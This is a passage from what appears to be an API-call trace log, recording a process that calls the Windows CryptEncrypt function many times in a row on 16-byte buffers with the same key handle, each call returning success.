pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.795] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.796] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.797] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.798] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, 